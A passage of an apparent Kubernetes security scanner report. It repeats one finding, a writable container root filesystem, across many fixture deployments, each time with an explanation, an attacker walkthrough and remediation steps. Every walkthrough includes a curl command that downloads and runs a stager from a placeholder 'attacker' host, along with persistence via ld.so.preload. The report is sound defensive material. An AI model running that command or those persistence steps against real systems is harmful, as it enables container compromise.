  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/containersec-limits -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/containersec-fixtures/containersec-probes Workload 5.5
Container app has a writable root filesystem in Deployment/containersec-fixtures/containersec-probes
Scope · Workload Workload Deployment/containersec-fixtures/containersec-probes
Category: Privilege Escalation Resource: Deployment/containersec-fixtures/containersec-probes Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-probes either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/containersec-probes -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/csr-fixtures/csr-mint-app Workload 5.5
Container app has a writable root filesystem in Deployment/csr-fixtures/csr-mint-app
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Privilege Escalation Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in Deployment/csr-fixtures/csr-mint-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/csr-mint-app -n csr-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/flat-network/unmatched Workload 5.5
Container app has a writable root filesystem in Deployment/flat-network/unmatched
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Privilege Escalation Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in Deployment/flat-network/unmatched either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/unmatched -n flat-network -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/ingress-only/ingress-app Workload 5.5
Container app has a writable root filesystem in Deployment/ingress-only/ingress-app
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Privilege Escalation Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in Deployment/ingress-only/ingress-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/ingress-app -n ingress-only -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-narrow-app Workload 5.5
Container app has a writable root filesystem in Deployment/lp-fixtures/lp-narrow-app
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-narrow-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/lp-narrow-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-orphan-app Workload 5.5
Container app has a writable root filesystem in Deployment/lp-fixtures/lp-orphan-app
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-orphan-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/lp-orphan-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/lp-fixtures/lp-wildcard-app Workload 5.5
Container app has a writable root filesystem in Deployment/lp-fixtures/lp-wildcard-app
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Privilege Escalation Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in Deployment/lp-fixtures/lp-wildcard-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/lp-wildcard-app -n lp-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/netpol-imds/imds-allow-app Workload 5.5
Container app has a writable root filesystem in Deployment/netpol-imds/imds-allow-app
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-allow-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/imds-allow-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/netpol-imds/imds-open-app Workload 5.5
Container app has a writable root filesystem in Deployment/netpol-imds/imds-open-app
Scope · Workload Workload Deployment/netpol-imds/imds-open-app
Category: Privilege Escalation Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Container app in Deployment/netpol-imds/imds-open-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/imds-open-app -n netpol-imds -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Workload 5.5
Container app has a writable root filesystem in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Scope · Workload Workload Deployment/psa-unlabeled-fixtures/psa-unlabeled-app
Category: Privilege Escalation Resource: Deployment/psa-unlabeled-fixtures/psa-unlabeled-app Namespace: psa-unlabeled-fixtures

Container app in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
  4. Validate: kubectl get deployment/psa-unlabeled-app -n psa-unlabeled-fixtures -o jsonpath='{.spec.template.spec.containers[*].securityContext.readOnlyRootFilesystem}' returns true for every container.
Evidence
Containerapp
Show raw JSON
{
  "container": "app"
}
MEDIUM Deployment/rbac-fixtures/imp-app Workload 5.5
Container app has a writable root filesystem in Deployment/rbac-fixtures/imp-app
Scope · Workload Workload Deployment/rbac-fixtures/imp-app
Category: Privilege Escalation Resource: Deployment/rbac-fixtures/imp-app Namespace: rbac-fixtures

Container app in Deployment/rbac-fixtures/imp-app either omits securityContext.readOnlyRootFilesystem or sets it to false. The container's root filesystem is therefore writable: any process inside the container can drop new binaries to /usr/local/bin, modify in-image executables, plant a webshell under a static-served path, or rewrite configuration files that the application reads on the next request.

A writable rootfs converts a transient code-execution bug into something durable. Cryptominer droppers (xmrig, kinsing), web-shells, opportunistic supply-chain payloads, and credential-stealing libpreload tricks all assume they can chmod +x something they wrote. Flipping the rootfs to read-only neutralises that step: every write(2) outside an explicitly-mounted volume returns EROFS, and the attacker has to escalate to a kernel CVE just to land a binary. The Pod Security Standards Restricted level requires readOnlyRootFilesystem: true for this reason.

Legitimate writes (caches, scratch space, runtime sockets, the JVM /tmp directory) belong in explicit emptyDir volumes mounted at known paths. That keeps the writable surface small, scoped to the workload's actual needs, and out of reach of process injection that targets shared in-image paths.

Impact Converts a single RCE into long-lived persistence inside the container; dropper-based malware, webshells, and binary tampering all become trivial.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Gain code execution inside the container (web RCE, deserialisation gadget, vulnerable dependency).
  2. Probe writability: touch /usr/local/bin/x && echo writable — succeeds because rootfs is mutable.
  3. Drop a stager: curl -sSL http://attacker/x -o /usr/local/bin/sysd && chmod +x /usr/local/bin/sysd && /usr/local/bin/sysd &.
  4. Plant a backdoor in the application: rewrite node_modules/.bin/, site-packages/..., or /etc/ld.so.preload so the next request loads attacker code.
  5. Survive container restart by writing to any in-image path that the deployment treats as immutable (config files re-read on boot, init scripts).
Remediation
Set readOnlyRootFilesystem: true on every container; mount emptyDir volumes for legitimate writable paths.
  1. Identify the directories the workload actually writes to (/tmp, /var/run, /var/cache/<app>, JVM temp). Add an emptyDir volume and volumeMount for each.
  2. Set securityContext.readOnlyRootFilesystem: true on each container. Pair with allowPrivilegeEscalation: false, capabilities.drop: [ALL], runAsNonRoot: true.
  3. Apply Pod Security Admission restricted to the namespace so future regressions are blocked at admit time.
